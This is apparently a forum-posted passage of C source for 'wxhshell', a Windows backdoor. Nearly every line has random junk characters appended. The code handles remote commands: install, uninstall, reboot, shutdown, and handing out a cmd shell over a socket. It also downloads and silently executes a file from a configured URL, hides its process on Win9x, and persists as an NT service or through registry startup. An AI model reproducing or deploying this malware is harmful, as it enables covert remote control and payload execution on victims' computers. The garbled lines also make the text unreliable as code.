  } L~>~a1p!  
  else { @j=Q$k.GF  
'o]8UD(  
    switch(cmd[0]) { zP|^) h5  
  8(""ui 8  
  // 帮助 pt=H?{06  
  case '?': { ]}0QrD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q jmlwVw  
    break; xv>]e <":  
  } XMw*4j2E  
  // 安装 >K-S&Y  
  case 'i': { QNm8`1  
    if(Install()) Ud'/ 9:P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ehcj G1nY  
    else \d}>@@U&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .h[yw$z6  
    break; Vo8gLX]a  
    } NNP ut$.  
  // 卸载 MC;2.e`  
  case 'r': { h@yn0CU3.  
    if(Uninstall()) k?;B1D8-n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7FGi+  
    else 4Bz:n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;30SnR/  
    break; nb_$g@ 03  
    } VQwF9Iq]`  
  // 显示 wxhshell 所在路径 b,uu dtlH  
  case 'p': { =`Lci1#pu}  
    char svExeFile[MAX_PATH]; H[D<G9:  
    strcpy(svExeFile,"\n\r"); fuF!3Q  
      strcat(svExeFile,ExeFile); 1j?+rs+o-  
        send(wsh,svExeFile,strlen(svExeFile),0); _|I`A6`=  
    break;  jWqjGX`  
    } \x;`8H  
  // 重启 Bw25+l Px  
  case 'b': { 25{-GaB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  aK33bn'j  
    if(Boot(REBOOT)) a(oa?OdJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4vyj#V  
    else { uJ T^=Y  
    closesocket(wsh); @p ZjJ<9QM  
    ExitThread(0); ZGj ^,?a  
    } NWS3-iZ|8  
    break; 1U6 z2i+y  
    } _kXq0~  
  // 关机 F_F02:t  
  case 'd': { ! 8*l U2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]I'dnd3e  
    if(Boot(SHUTDOWN)) O QGKH6q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y,s`[=CT  
    else { h yK&)y?~  
    closesocket(wsh); i8->3uB  
    ExitThread(0); ,9Si 3vn  
    } D1R$s*{  
    break; uN8RG_Mb  
    } W.CbNou  
  // 获取shell mLm?yb:  
  case 's': { 7!U^?0?/  
    CmdShell(wsh); `i<omZ[aT  
    closesocket(wsh); @|([b r|O  
    ExitThread(0); xM)6'= x6  
    break; 1V.oR`&2E  
  } ?"$Rw32  
  // 退出 V@rqC[on  
  case 'x': { ->L>`<7(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LR#BP}\b'  
    CloseIt(wsh); %%FzBbWAO  
    break; QTC!vKM  
    } HT ."J  
  // 离开 Q@KCODi  
  case 'q': { we8aqEomr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7zq@T]  
    closesocket(wsh); Kv9Z.DY  
    WSACleanup(); 6GA+xr=  
    exit(1); &&g02>gE  
    break; Kk`Lu S?  
        } r4mz   
  } ?W2u0N  
  } +}R#mco5K  
-nXlW  
  // 提示信息 }Xvm( ;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DS=$* Trk  
} `vZX"+BAh  
  } Y'C1L4d  
=M=v; ,I-  
  return; 8W Etm}  
} PdtL Cgd  
1xI  
// shell模块句柄 YS:p(jtd  
int CmdShell(SOCKET sock) =;Dj[<mJ45  
{ ly:2XvV3~  
STARTUPINFO si; T~L&c  
ZeroMemory(&si,sizeof(si)); f@[qS7ok  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R$X~d8o>%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O,JS*jXl  
PROCESS_INFORMATION ProcessInfo; GZ^Qt*5 {  
char cmdline[]="cmd"; YPW UncV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XY#.?<"Q8  
  return 0; X|-[i hp;  
} dXfLN<nD>U  
0j;q^>  
// 自身启动模式 yd=b!\}WJ  
int StartFromService(void) 5] LfJh+"n  
{ z]7/Gc,j  
typedef struct E>+>!On)b  
{ " T9UedZ  
  DWORD ExitStatus; !2h ZtX  
  DWORD PebBaseAddress; 6?'7`p  
  DWORD AffinityMask; te4=  
  DWORD BasePriority; 5|5p -B  
  ULONG UniqueProcessId; eR0$CTSw  
  ULONG InheritedFromUniqueProcessId; flT6y-d  
}   PROCESS_BASIC_INFORMATION; XO+rg&Pu  
/,`OF/%  
PROCNTQSIP NtQueryInformationProcess; "([/G?QAG  
/3&MUB*z&y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &r\8VEZq"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Q+k2J_h  
L7hRFf-o  
  HANDLE             hProcess; G[1\5dK*uR  
  PROCESS_BASIC_INFORMATION pbi; ?}uuTNLl)  
h aApw(.%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NBHpM}1xtU  
  if(NULL == hInst ) return 0; C~R ?iZ.&U  
f}J(nz>Sh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FgL892[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7i!VgV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !I.}[9N  
'%82pZ,?  
  if (!NtQueryInformationProcess) return 0; Nte$cTjX  
#*:^\z_Jd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $xWUzg1<U  
  if(!hProcess) return 0; BM'!odRv  
\5 rJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M~N/er  
+:"0 %(  
  CloseHandle(hProcess); J>5rkR@/  
GbclR:G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S'5Zy} +x  
if(hProcess==NULL) return 0; %IZd-N7i^  
0Ni{UV? k  
HMODULE hMod; 8xg^="OJ  
char procName[255]; 1)MDnODJ  
unsigned long cbNeeded; &a;?o~%*]i  
/-,\$@J5)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M(zZ8#  
Z`u$#<ukX  
  CloseHandle(hProcess); xP!QV~$>  
r *]pL<  
if(strstr(procName,"services")) return 1; // 以服务启动 eIfQ TV  
U8AH,?]#  
  return 0; // 注册表启动 QeG9CS)E}j  
} vaGF(hfTA  
N@L{9ak1  
// 主模块 e"52'zAV-  
int StartWxhshell(LPSTR lpCmdLine) ~7U~   
{ w7o`B R  
  SOCKET wsl; naW!b&:  
BOOL val=TRUE; >W;NMcN~  
  int port=0; a5GLbanF  
  struct sockaddr_in door; # )y/aA  
[ r8 ZAS  
  if(wscfg.ws_autoins) Install(); U!`iKy-  
B+snHabS6  
port=atoi(lpCmdLine); Yu>DgMW  
{*AA]z? zo  
if(port<=0) port=wscfg.ws_port; 7oW Mjw\  
XIbZ_G^ +D  
  WSADATA data; kQ}n~Hn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 94?WL  
UhpJGO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s0^(yEcq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \?d3Pn5`  
  door.sin_family = AF_INET; 4G?^#+|^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u }gavG l  
  door.sin_port = htons(port); P=5+I+  
ANy*'/f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GD{L$#i!  
closesocket(wsl); 9MYk5q.X:  
return 1; =y4dR#R(\  
} QCF'/G  
^w.hI5ua)  
  if(listen(wsl,2) == INVALID_SOCKET) { &J*M  
closesocket(wsl); 1XMR7liE  
return 1; 8&)v%TX  
} 1(Ta*"(0Ip  
  Wxhshell(wsl); G$+v |z  
  WSACleanup(); $KO2+^%y  
LWN {  
return 0; jb -kg</A  
67YC;J]n=z  
} sa(.Anmlj  
`;E/\eG"  
// 以NT服务方式启动 M .b8 -`V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4 "HX1qP  
{ 1!~cPD'F  
DWORD   status = 0; Y~-y\l;Tr  
  DWORD   specificError = 0xfffffff; ^,acU\}VqP  
NEIkG>\7q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >F7w]XH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >s f g`4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >H!Mx_fDL  
  serviceStatus.dwWin32ExitCode     = 0; )rD!4"8/A  
  serviceStatus.dwServiceSpecificExitCode = 0; x8PT+KC  
  serviceStatus.dwCheckPoint       = 0; xi=ApwNj  
  serviceStatus.dwWaitHint       = 0; _*fNa!@hY  
~,b^f{7`!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t?W}=%M[  
  if (hServiceStatusHandle==0) return; {`QHg O  
X#lNS+&='  
status = GetLastError(); P5h|* ?=  
  if (status!=NO_ERROR) d9#Vq=H /  
{ xzm]v9k&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z%%O-1   
    serviceStatus.dwCheckPoint       = 0; W]9*dabem  
    serviceStatus.dwWaitHint       = 0; ff\~`n~WZ  
    serviceStatus.dwWin32ExitCode     = status; hm`=wceK  
    serviceStatus.dwServiceSpecificExitCode = specificError; `}}:9d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LH8jT  
    return; RZm%4_p4s  
  } [@vz0!@s5  
N Qk aW)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N1c=cZDV  
  serviceStatus.dwCheckPoint       = 0; i2~uhGJ  
  serviceStatus.dwWaitHint       = 0; f"QiVJq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (+> 2&@@<  
} [1VA`:?W  
QPJ \Iu@D$  
// 处理NT服务事件,比如:启动、停止 d(T4Kd$r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {r,U ik-nL  
{ wA=r ]BT  
switch(fdwControl) ,#A(I#wL~  
{ Ymk?@mV4  
case SERVICE_CONTROL_STOP: h:YD $XE  
  serviceStatus.dwWin32ExitCode = 0; \k.`xG?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Z7`TnG$uf  
  serviceStatus.dwCheckPoint   = 0; r~t`H*C)}  
  serviceStatus.dwWaitHint     = 0; jxh:z  
  { WQK<z!W5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ _Ey"k<  
  } r ]DiB:.  
  return; }TmOoi(X@  
case SERVICE_CONTROL_PAUSE: ~~tTr $  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %ou,|Dww  
  break; py*22Ua^  
case SERVICE_CONTROL_CONTINUE: `>gG"1,]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  wA"@t  
  break; !Zz;;Z  
case SERVICE_CONTROL_INTERROGATE: $MQ}+*Wr  
  break; cO~<iy  
}; >lQo _p(;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1- KNXGb'  
} KA5)]UF`l  
gg'1q3OjM  
// 标准应用程序主函数 ~VGnE:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kQ`tY`3F  
{ LKIMT  
=3e7n2N)  
// 获取操作系统版本 " O&93#8  
OsIsNt=GetOsVer(); 3S0.sU~_U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U0~_'&Fe  
?+yr7_f3*  
  // 从命令行安装 mmAm@/  
  if(strpbrk(lpCmdLine,"iI")) Install(); _pvB$&  
lvs  XL  
  // 下载执行文件 hi7_jl6  
if(wscfg.ws_downexe) { BG>Y[u\N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "yn~axk7  
  WinExec(wscfg.ws_filenam,SW_HIDE); k ut=( ;  
} ZZw`8 E  
-Zt!H%U  
if(!OsIsNt) { RZOK+!H:  
// 如果时win9x,隐藏进程并且设置为注册表启动 i"2OsGT  
HideProc(); e7vm3<m4  
StartWxhshell(lpCmdLine); ejROJXB  
} ALF0d|>=uj  
else /WrB>w  
  if(StartFromService()) f98,2I(>`+  
  // 以服务方式启动 |3*9+4]a  
  StartServiceCtrlDispatcher(DispatchTable); ^9g$/8[^c_  
else z;c>Q\Q  
  // 普通方式启动 b$G{^  
  StartWxhshell(lpCmdLine); FaL\6w  
@IT[-d  
return 0; j]Auun  
}
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只看该作者 1 发表于: 2006-10-10
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